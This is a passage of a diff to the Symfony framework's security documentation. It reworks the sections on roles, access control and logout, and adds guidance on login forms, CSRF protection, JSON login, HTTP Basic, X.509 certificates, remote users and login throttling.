-                    new Reference('limiter.username_ip_login'),
-                ]);
-
-            $security->firewall('main')
-                ->loginThrottling()
-                    ->limiter('app.login_rate_limiter')
-            ;
-        };
+    {# ... #}
 
-.. _`security-authorization`:
-.. _denying-access-roles-and-other-authorization:
-
-4) Denying Access, Roles and other Authorization
-------------------------------------------------
-
-Users can now log in to your app using your login form. Great! Now, you need to learn
-how to deny access and work with the User object. This is called **authorization**,
-and its job is to decide if a user can access some resource (a URL, a model object,
-a method call, ...).
-
-The process of authorization has two different sides:
+    {% block body %}
+        {% if error %}
+            <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
+        {% endif %}
 
-#. The user receives a specific set of roles when logging in (e.g. ``ROLE_ADMIN``).
-#. You add code so that a resource (e.g. URL, controller) requires a specific
-   "attribute" (most commonly a role like ``ROLE_ADMIN``) in order to be
-   accessed.
+        <form action="{{ path('login') }}" method="post">
+            <label for="username">Username:</label>
+            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
 
-Roles
-~~~~~
+            <label for="password">Password:</label>
+            <input type="password" id="password" name="_password"/>
 
-When a user logs in, Symfony calls the ``getRoles()`` method on your ``User``
-object to determine which roles this user has. In the ``User`` class that we
-generated earlier, the roles are an array that's stored in the database, and
-every user is *always* given at least one role: ``ROLE_USER``::
+            {# If you want to control the URL the user is redirected to on success
+            <input type="hidden" name="_target_path" value="/account"/> #}
 
-    // src/Entity/User.php
+            <button type="submit">login</button>
+        </form>
+    {% endblock %}
 
-    // ...
-    class User
-    {
-        /**
-         * @ORM\Column(type="json")
-         */
-        private $roles = [];
+.. caution::
 
-        // ...
-        public function getRoles(): array
-        {
-            $roles = $this->roles;
-            // guarantee every user at least has ROLE_USER
-            $roles[] = 'ROLE_USER';
+    The ``error`` variable passed into the template is an instance of
+    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
+    It may contain sensitive information about the authentication failure.
+    *Never* use ``error.message``, but the ``messageKey`` property instead
+    as shown in the example. This message is always safe to display.
 
-            return array_unique($roles);
-        }
-    }
+The form can look like anything, but it usually follows some conventions:
 
-This is a nice default, but you can do *whatever* you want to determine which roles
-a user should have. Here are a few guidelines:
+* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
+  that's what you configured under the ``form_login`` key in ``security.yaml``;
+* The username field has the name ``_username`` and the password field has the
+  name ``_password``.
 
-* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
+.. tip::
 
-* Other than the above rule, a role is just a string and you can invent what you
-  need (e.g. ``ROLE_PRODUCT_ADMIN``).
+    Actually, all of this can be configured under the ``form_login`` key. See
+    :ref:`reference-security-firewall-form-login` for more details.
 
-You'll use these roles next to grant access to specific sections of your site.
-You can also use a :ref:`role hierarchy <security-role-hierarchy>` where having
-some roles automatically give you other roles.
+.. caution::
 
-.. _security-role-authorization:
+    This login form is currently not protected against CSRF attacks. Read
+    :ref:`form_login-csrf` on how to protect your login form.
 
-Add Code to Deny Access
-~~~~~~~~~~~~~~~~~~~~~~~
+And that's it! When you submit the form, the security system automatically
+checks the user's credentials and either authenticate the user or send the
+user back to the login form where the error can be displayed.
 
-There are **two** ways to deny access to something:
+To review the whole process:
 
-#. :ref:`access_control in security.yaml <security-authorization-access-control>`
-   allows you to protect URL patterns (e.g. ``/admin/*``). Simpler, but less flexible;
+#. The user tries to access a resource that is protected;
+#. The firewall initiates the authentication process by redirecting the
+   user to the login form (``/login``);
+#. The ``/login`` page renders login form via the route and controller created
+   in this example;
+#. The user submits the login form to ``/login``;
+#. The security system intercepts the request, checks the user's submitted
+   credentials, authenticates the user if they are correct, and sends the
+   user back to the login form if they are not.
 
-#. :ref:`in your controller (or other code) <security-securing-controller>`.
+.. _form_login-csrf:
 
-.. _security-authorization-access-control:
+CSRF Protection in Login Forms
+..............................
 
-Securing URL patterns (access_control)
-......................................
+`Login CSRF attacks`_ can be prevented using the same technique of adding hidden
+CSRF tokens into the login forms. The Security component already provides CSRF
+protection, but you need to configure some options before using it.
 
-The most basic way to secure part of your app is to secure an entire URL pattern
-in ``security.yaml``. For example, to require ``ROLE_ADMIN`` for all URLs that
-start with ``/admin``, you can:
+First, you need to enable CSRF on the form login:
 
 .. configuration-block::
 
@@ -813,20 +864,11 @@ start with ``/admin``, you can:
             # ...
 
             firewalls:
-                # ...
-                main:
+                secured_area:
                     # ...
-
-            access_control:
-                # require ROLE_ADMIN for /admin*
-                - { path: '^/admin', roles: ROLE_ADMIN }
-
-                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
-
-                # the 'path' value can be any valid regular expression
-                # (this one will match URLs like /api/post/7298 and /api/comment/528491)
-                - { path: ^/api/(post|comment)/\d+$, roles: ROLE_USER }
+                    form_login:
+                        # ...
+                        enable_csrf: true
 
     .. code-block:: xml
 
@@ -843,22 +885,10 @@ start with ``/admin``, you can:
             <config>
                 <!-- ... -->
 
-                <firewall name="main">
+                <firewall name="secured_area">
                     <!-- ... -->
+                    <form-login enable-csrf="true"/>
                 </firewall>
-
-                <!-- require ROLE_ADMIN for /admin* -->
-                <rule path="^/admin" role="ROLE_ADMIN"/>
-
-                <!-- require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin* -->
-                <rule path="^/admin">
-                    <role>ROLE_ADMIN</role>
-                    <role>IS_AUTHENTICATED_FULLY</role>
-                </rule>
-
-                <!-- the 'path' value can be any valid regular expression
-                     (this one will match URLs like /api/post/7298 and /api/comment/528491) -->
-                <rule path="^/api/(post|comment)/\d+$" role="ROLE_USER"/>
             </config>
         </srv:container>
 
@@ -868,33 +898,52 @@ start with ``/admin``, you can:
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-
-            // ...
-            $security->firewall('main')
             // ...
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->formLogin()
+                // ...
+                ->enableCsrf(true)
             ;
+        };
 
-            // require ROLE_ADMIN for /admin*
-            $security->accessControl()
-                ->path('^/admin')
-                ->roles(['ROLE_ADMIN']);
+.. _csrf-login-template:
 
-            // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-            $security->accessControl()
-                ->path('^/admin')
-                ->roles(['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']);
+Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF
+token and store it as a hidden field of the form. By default, the HTML field
+must be called ``_csrf_token`` and the string used to generate the value must
+be ``authenticate``:
 
-            // the 'path' value can be any valid regular expression
-            // (this one will match URLs like /api/post/7298 and /api/comment/528491)
-            $security->accessControl()
-                ->path('^/api/(post|comment)/\d+$')
-                ->roles(['ROLE_USER']);
-        };
+.. code-block:: html+twig
 
-You can define as many URL patterns as you need - each is a regular expression.
-**BUT**, only **one** will be matched per request: Symfony starts at the top of
-the list and stops when it finds the first match:
+    {# templates/security/login.html.twig #}
+
+    {# ... #}
+    <form action="{{ path('login') }}" method="post">
+        {# ... the login fields #}
+
+        <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">
+
+        <button type="submit">login</button>
+    </form>
+
+After this, you have protected your login form against CSRF attacks.
+
+.. tip::
+
+    You can change the name of the field by setting ``csrf_parameter`` and change
+    the token ID by setting  ``csrf_token_id`` in your configuration. See
+    :ref:`reference-security-firewall-form-login` for more details.
+
+JSON Login
+~~~~~~~~~~
+
+Some applications provide an API that is secured using tokens. These
+applications may use an endpoint that provides these tokens based on a
+username and password. The JSON login authenticator helps you create this
+functionality.
+
+Enable the authenticator using the ``json_login`` setting:
 
 .. configuration-block::
 
@@ -904,20 +953,19 @@ the list and stops when it finds the first match:
         security:
             # ...
 
-            access_control:
-                # matches /admin/users/*
-                - { path: '^/admin/users', roles: ROLE_SUPER_ADMIN }
-
-                # matches /admin/* except for anything matching the above rule
-                - { path: '^/admin', roles: ROLE_ADMIN }
+            firewalls:
+                main:
+                    # ...
+                    json_login:
+                        check_path: api_login
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/security
@@ -925,9 +973,9 @@ the list and stops when it finds the first match:
 
             <config>
                 <!-- ... -->
-
-                <rule path="^/admin/users" role="ROLE_SUPER_ADMIN"/>
-                <rule path="^/admin" role="ROLE_ADMIN"/>
+                <firewall name="main">
+                    <json-login check-path="api_login"/>
+                </firewall>
             </config>
         </srv:container>
 
@@ -939,238 +987,232 @@ the list and stops when it finds the first match:
         return static function (SecurityConfig $security) {
             // ...
 
-            $security->accessControl()
-                ->path('^/admin/users')
-                ->roles(['ROLE_SUPER_ADMIN']);
-
-            $security->accessControl()
-                ->path('^/admin')
-                ->roles(['ROLE_ADMIN']);
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->jsonLogin()
+                ->checkPath('api_login')
+            ;
         };
 
-Prepending the path with ``^`` means that only URLs *beginning* with the
-pattern are matched. For example, a path of ``/admin`` (without the ``^``)
-would match ``/admin/foo`` but would also match URLs like ``/foo/admin``.
+.. note::
 
-Each ``access_control`` can also match on IP address, hostname and HTTP methods.
-It can also be used to redirect a user to the ``https`` version of a URL pattern.
-See :doc:`/security/access_control`.
-
-.. _security-securing-controller:
+    The ``check_path`` supports URLs and route names (but cannot have
+    mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
+    default value).
 
-Securing Controllers and other Code
-...................................
-
-You can deny access from inside a controller::
+The authenticator runs when a client request the ``check_path``. First,
+create a controller for this path:
 
-    // src/Controller/AdminController.php
-    // ...
+.. code-block:: terminal
 
-    public function adminDashboard(): Response
-    {
-        $this->denyAccessUnlessGranted('ROLE_ADMIN');
+    $ php bin/console make:controller --no-template ApiLogin
 
-        // or add an optional message - seen by developers
-        $this->denyAccessUnlessGranted('ROLE_ADMIN', null, 'User tried to access a page without having ROLE_ADMIN');
-    }
+     created: src/Controller/ApiLoginController.php
 
-That's it! If access is not granted, a special
-:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
-is thrown and no more code in your controller is called. Then, one of two things
-will happen:
+.. code-block:: php
 
-1) If the user isn't logged in yet, they will be asked to log in (e.g. redirected
-   to the login page).
+    // src/Controller/ApiLoginController.php
+    namespace App\Controller;
 
-2) If the user *is* logged in, but does *not* have the ``ROLE_ADMIN`` role, they'll
-   be shown the 403 access denied page (which you can
-   :ref:`customize <controller-error-pages-by-status-code>`).
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
-.. _security-securing-controller-annotations:
+    class ApiLoginController extends AbstractController
+    {
+        #[Route('/api/login', name: 'api_login')]
+        public function index(): Response
+        {
+            return $this->json([
+                'message' => 'Welcome to your new controller!',
+                'path' => 'src/Controller/ApiLoginController.php',
+            ]);
+        }
+    }
 
-Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
-using annotations:
+This login controller will be called after the authenticator successfully
+authenticates the user. You can get the authenticated user, generate a
+token (or whatever you need to return) and return the JSON response:
 
 .. code-block:: diff
 
-      // src/Controller/AdminController.php
       // ...
+    + use App\Entity\User;
+    + use Symfony\Component\Security\Http\Attribute\CurrentUser;
 
-    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
-
-    + /**
-    +  * Require ROLE_ADMIN for *every* controller method in this class.
-    +  *
-    +  * @IsGranted("ROLE_ADMIN")
-    +  */
-      class AdminController extends AbstractController
+      class ApiLoginController extends AbstractController
       {
-    +     /**
-    +      * Require ROLE_ADMIN for only this controller method.
-    +      *
-    +      * @IsGranted("ROLE_ADMIN")
-    +      */
-          public function adminDashboard(): Response
+          #[Route('/api/login', name: 'api_login')]
+    -     public function index(): Response
+    +     public function index(#[CurrentUser] User $user): Response
           {
-              // ...
+    +         $token = ...; // somehow create a token for $user
+    +
+              return $this->json([
+    -             'message' => 'Welcome to your new controller!',
+    -             'path' => 'src/Controller/ApiLoginController.php',
+    +             'user'  => $user->getUserIdentifier(),
+    +             'token' => $token,
+              ]);
           }
       }
 
-For more information, see the `FrameworkExtraBundle documentation`_.
-
-.. _security-template:
-
-Access Control in Templates
-...........................
+.. note::
 
-If you want to check if the current user has a certain role, you can use
-the built-in ``is_granted()`` helper function in any Twig template:
+    The ``#[CurrentUser]`` can only be used in controller arguments to
+    retrieve the authenticated user. In services, you would use
+    :method:`Symfony\\Component\\Security\\Core\\Security::getUser`.
 
-.. code-block:: html+twig
+That's it! To summarize the process:
 
-    {% if is_granted('ROLE_ADMIN') %}
-        <a href="...">Delete</a>
-    {% endif %}
+#. A client (e.g. the front-end) makes a *POST request* with the
+   ``Content-Type: application/json`` header to ``/api/login``:
 
-Securing other Services
-.......................
+   .. code-block:: json
 
-See :doc:`/security/securing_services`.
+        {
+            "username": "dunglas",
+            "password": "MyPassword"
+        }
+#. The security system intercepts the request, checks the user's submitted
+   credentials and authenticates the user. If the credentials is incorrect,
+   an HTTP 401 Unauthorized JSON response is returned, otherwise your
+   controller is run;
+#. Your controller creates the correct response:
 
-Setting Individual User Permissions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+   .. code-block:: json
 
-Most applications require more specific access rules. For instance, a user
-should be able to only edit their *own* comments on a blog. Voters allow you
-to write *whatever* business logic you need to determine access. Using
-these voters is similar to the role-based access checks implemented in the
-previous chapters. Read :doc:`/security/voters` to learn how to implement
-your own voter.
+        {
+            "user": "dunglas",
+            "token": "45be42..."
+        }
 
-Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. tip::
 
-If you *only* want to check if a user is logged in (you don't care about roles),
-you have two options. First, if you've given *every* user ``ROLE_USER``, you can
-check for that role. Otherwise, you can use a special "attribute" in place of a
-role::
+    The JSON request format can be configured under the ``json_login`` key.
+    See :ref:`reference-security-firewall-json-login` for more details.
 
-    // ...
+.. _security-http_basic:
 
-    public function adminDashboard(): Response
-    {
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+HTTP Basic
+~~~~~~~~~~
 
-        // ...
-    }
+`HTTP Basic authentication`_ is a standardized HTTP authentication
+framework. It asks credentials (username and password) using a dialog in
+the browser and the HTTP basic authenticator of Symfony will verify these
+credentials.
 
-You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
-``access_control`` or in Twig.
+Add the ``http_basic`` key to your firewall to enable HTTP Basic
+authentication:
 
-``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
-user that has logged in will have this. Actually, there are some special attributes
-like this:
+.. configuration-block::
 
-* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
-  if they are logged in because of a "remember me cookie". Even if you don't
-  use the :doc:`remember me functionality </security/remember_me>`,
-  you can use this to check if the user is logged in.
+    .. code-block:: yaml
 
-* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
-  but stronger. Users who are logged in only because of a "remember me cookie"
-  will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
+        # config/packages/security.yaml
+        security:
+            # ...
 
-* ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
-  this - this is useful when defining a list of URLs with no access restriction
-  - some details are in :doc:`/security/access_control`.
+            firewalls:
+                main:
+                    # ...
+                    http_basic:
+                        realm: Secured Area
 
-* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
+    .. code-block:: xml
 
-* ``IS_REMEMBERED``: *Only* users authenticated using the
-  :doc:`remember me functionality </security/remember_me>`, (i.e. a
-  remember-me cookie).
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-* ``IS_IMPERSONATOR``: When the current user is
-  :doc:`impersonating </security/impersonating_user>` another user in this
-  session, this attribute will match.
+            <config>
+                <!-- ... -->
+                <firewall name="main">
+                    <http-basic realm="Secured Area"/>
+                </firewall>
+            </config>
+        </srv:container>
 
-.. versionadded:: 5.1
+    .. code-block:: php
 
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-.. _retrieving-the-user-object:
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->httpBasic()
+                ->realm('Secured Area')
+            ;
+        };
 
-5a) Fetching the User Object
-----------------------------
+That's it! Whenever an unauthenticated user tries to visit a protected
+page, Symfony will inform the browser that it needs to start HTTP basic
+authentication (using the ``WWW-Authenticate`` response header). Then, the
+authenticator verifies the credentials and authenticates the user.
 
-After authentication, the ``User`` object of the current user can be accessed
-via the ``getUser()`` shortcut::
+.. note::
 
-    public function index(): Response
-    {
-        // usually you'll want to make sure the user is authenticated first
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+    You cannot use :ref:`log out <security-logging-out>` with the HTTP
+    basic authenticator. Even if you log out from Symfony, your browser
+    "remembers" your credentials and will send them on every request.
 
-        // returns your User object, or null if the user is not authenticated
-        // use inline documentation to tell your editor your exact User class
-        /** @var \App\Entity\User $user */
-        $user = $this->getUser();
+Login Link
+~~~~~~~~~~
 
-        // Call whatever methods you've added to your User class
-        // For example, if you added a getFirstName() method, you can use that.
-        return new Response('Well hi there '.$user->getFirstName());
-    }
+Login links are a passwordless authentication mechanism. The user will
+receive a short-lived link (e.g. via email) which will authenticate them to the
+website.
 
-5b) Fetching the User from a Service
-------------------------------------
+You can learn all about this authenticator in :doc:`/security/login_link`.
 
-If you need to get the logged in user from a service, use the
-:class:`Symfony\\Component\\Security\\Core\\Security` service::
+X.509 Client Certificates
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    // src/Service/ExampleService.php
-    // ...
+When using client certificates, your web server does all the authentication
+itself. The X.509 authenticator provided by Symfony extracts the email from
+the "distinguished name" (DN) of the client certificate. Then, it uses this
+email as user identifier in the user provider.
 
-    use Symfony\Component\Security\Core\Security;
+First, configure your web server to enable client certificate verification
+and to expose the certificate's DN to the Symfony application:
 
-    class ExampleService
-    {
-        private $security;
+.. configuration-block::
 
-        public function __construct(Security $security)
-        {
-            // Avoid calling getUser() in the constructor: auth may not
-            // be complete yet. Instead, store the entire Security object.
-            $this->security = $security;
-        }
+    .. code-block:: nginx
 
-        public function someMethod()
-        {
-            // returns User object or null if not authenticated
-            $user = $this->security->getUser();
+        server {
+            # ...
 
-            // ...
-        }
-    }
+            ssl_client_certificate /path/to/my-custom-CA.pem;
 
-Fetch the User in a Template
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+            # enable client certificate verification
+            ssl_verify_client optional;
+            ssl_verify_depth 1;
 
-In a Twig Template the user object is available via the ``app.user`` variable
-thanks to the :ref:`Twig global app variable <twig-app-variable>`:
+            location / {
+                # pass the DN as "SSL_CLIENT_S_DN" to the application
+                fastcgi_param SSL_CLIENT_S_DN $ssl_client_s_dn;
 
-.. code-block:: html+twig
+                # ...
+            }
+        }
 
-    {% if is_granted('IS_AUTHENTICATED_FULLY') %}
-        <p>Email: {{ app.user.email }}</p>
-    {% endif %}
+    .. code-block:: apache
 
-.. _security-logging-out:
+        # ...
+        SSLCACertificateFile "/path/to/my-custom-CA.pem"
+        SSLVerifyClient optional
+        SSLVerifyDepth 1
 
-Logging Out
------------
+        # pass the DN to the application
+        SSLOptions +StdEnvVars
 
-To enable logging out, activate the  ``logout`` config parameter under your firewall:
+Then, enable the X.509 authenticator using ``x509`` on your firewall:
 
 .. configuration-block::
 
@@ -1183,11 +1225,8 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             firewalls:
                 main:
                     # ...
-                    logout:
-                        path:   app_logout
-
-                        # where to redirect after logout
-                        # target: app_any_route
+                    x509:
+                        provider: your_user_provider
 
     .. code-block:: xml
 
@@ -1204,9 +1243,9 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             <config>
                 <!-- ... -->
 
-                <firewall name="secured_area">
+                <firewall name="main">
                     <!-- ... -->
-                    <logout path="app_logout"/>
+                    <x509 provider="your_user_provider"/>
                 </firewall>
             </config>
         </srv:container>
@@ -1217,184 +1256,1078 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
-            // ...
-
-            $security->firewall('secured_area')
-                // ...
-                ->logout()
-                    ->path('app_logout');
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->x509()
+                ->provider('your_user_provider')
+            ;
         };
 
-Next, you'll need to create a route for this URL (but not a controller):
+By default, Symfony extracts the email address from the DN in two different
+ways:
 
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
+#. First, it tries the ``SSL_CLIENT_S_DN_Email`` server parameter, which is
+   exposed by Apache;
+#. If it is not set (e.g. when using Nginx), it uses ``SSL_CLIENT_S_DN`` and
+   matches the value following ``emailAddress=``.
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+You can customize the name of both parameters under the ``x509`` key. See
+:ref:`the configuration reference <reference-security-firewall-x509>` for
+more details.
 
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/logout", name="app_logout", methods={"GET"})
-             */
-            public function logout(): void
-            {
-                // controller can be blank: it will never be executed!
-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
-            }
-        }
+Remote Users
+~~~~~~~~~~~~
 
-    .. code-block:: php-attributes
+Besides client certificate authentication, there are more web server
+modules that pre-authenticate a user (e.g. kerberos). The remote user
+authenticator provides a basic integration for these services.
 
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
+These modules often expose the authenticated user in the ``REMOTE_USER``
+environment variable. The remote user authenticator uses this value as the
+user identifier to load the corresponding user.
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+Enable remote user authentication using the ``remote_user`` key:
 
-        class SecurityController extends AbstractController
-        {
-            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
-            public function logout()
-            {
-                // controller can be blank: it will never be executed!
-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
-            }
-        }
+.. configuration-block::
 
     .. code-block:: yaml
 
-        # config/routes.yaml
-        app_logout:
-            path: /logout
-            methods: GET
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    # ...
+                    remote_user:
+                        provider: your_user_provider
 
     .. code-block:: xml
 
-        <!-- config/routes.xml -->
+        <!-- config/packages/security.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="app_logout" path="/logout" methods="GET"/>
-        </routes>
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-    ..  code-block:: php
+            <config>
+                <firewall name="main">
+                    <remote-user provider="your_user_provider"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->remoteUser()
+                ->provider('your_user_provider')
+            ;
+        };
+
+.. tip::
+
+    You can customize the name of this server variable under the
+    ``remote_user`` key. See
+    :ref:`the configuration reference <reference-security-firewall-remote-user>`
+    for more details.
+
+Limiting Login Attempts
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    Login throttling was introduced in Symfony 5.2.
+
+Symfony provides basic protection against `brute force login attacks`_.
+You must enable this using the ``login_throttling`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # you must use the authenticator manager
+            enable_authenticator_manager: true
+
+            firewalls:
+                # ...
+
+                main:
+                    # ...
+
+                    # by default, the feature allows 5 login attempts per minute
+                    login_throttling: null
+
+                    # configure the maximum login attempts (per minute)
+                    login_throttling:
+                        max_attempts: 3
+
+                    # configure the maximum login attempts in a custom period of time
+                    login_throttling:
+                        max_attempts: 3
+                        interval: '15 minutes'
+
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.my_login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <!-- you must use the authenticator manager -->
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- by default, the feature allows 5 login attempts per minute -->
+                    <login-throttling/>
+
+                    <!-- configure the maximum login attempts (per minute) -->
+                    <login-throttling max-attempts="3"/>
+
+                    <!-- configure the maximum login attempts in a custom period of time -->
+                    <login-throttling max-attempts="3" interval="15 minutes"/>
+
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.my_login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+
+            $mainFirewall = $security->firewall('main');
+
+            // by default, the feature allows 5 login attempts per minute
+            $mainFirewall->loginThrottling();
+
+            // configure the maximum login attempts (per minute)
+            $mainFirewall->loginThrottling()
+                ->maxAttempts(3)
+            ;
+
+            // configure the maximum login attempts in a custom period of time
+            $mainFirewall->loginThrottling()
+                ->maxAttempts(3)
+                ->interval('15 minutes')
+            ;
+        };
+
+.. versionadded:: 5.3
+
+    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
+
+By default, login attempts are limited on ``max_attempts`` (default: 5)
+failed requests for ``IP address + username`` and ``5 * max_attempts``
+failed requests for ``IP address``. The second limit protects against an
+attacker using multiple usernames from bypassing the first limit, without
+distrupting normal users on big networks (such as offices).
+
+.. tip::
+
+    Limiting the failed login attempts is only one basic protection against
+    brute force attacks. The `OWASP Brute Force Attacks`_ guidelines mention
+    several other protections that you should consider depending on the
+    level of protection required.
+
+If you need a more complex limiting algorithm, create a class that implements
+:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
+(or use
+:class:`Symfony\\Component\\Security\\Http\\RateLimiter\\DefaultLoginRateLimiter`)
+and set the ``limiter`` option to its service ID:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        framework:
+            rate_limiter:
+                # define 2 rate limiters (one for username+IP, the other for IP)
+                username_ip_login:
+                    policy: token_bucket
+                    limit: 5
+                    rate: { interval: '5 minutes' }
+
+                ip_login:
+                    policy: sliding_window
+                    limit: 50
+                    interval: '15 minutes'
+
+        services:
+            # our custom login rate limiter
+            app.login_rate_limiter:
+                class: Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter
+                arguments:
+                    # globalFactory is the limiter for IP
+                    $globalFactory: '@limiter.ip_login'
+                    # localFactory is the limiter for username+IP
+                    $localFactory: '@limiter.username_ip_login'
+
+        security:
+            firewalls:
+                main:
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- define 2 rate limiters (one for username+IP, the other for IP) -->
+                    <framework:limiter name="username_ip_login"
+                        policy="token_bucket"
+                        limit="5"
+                    >
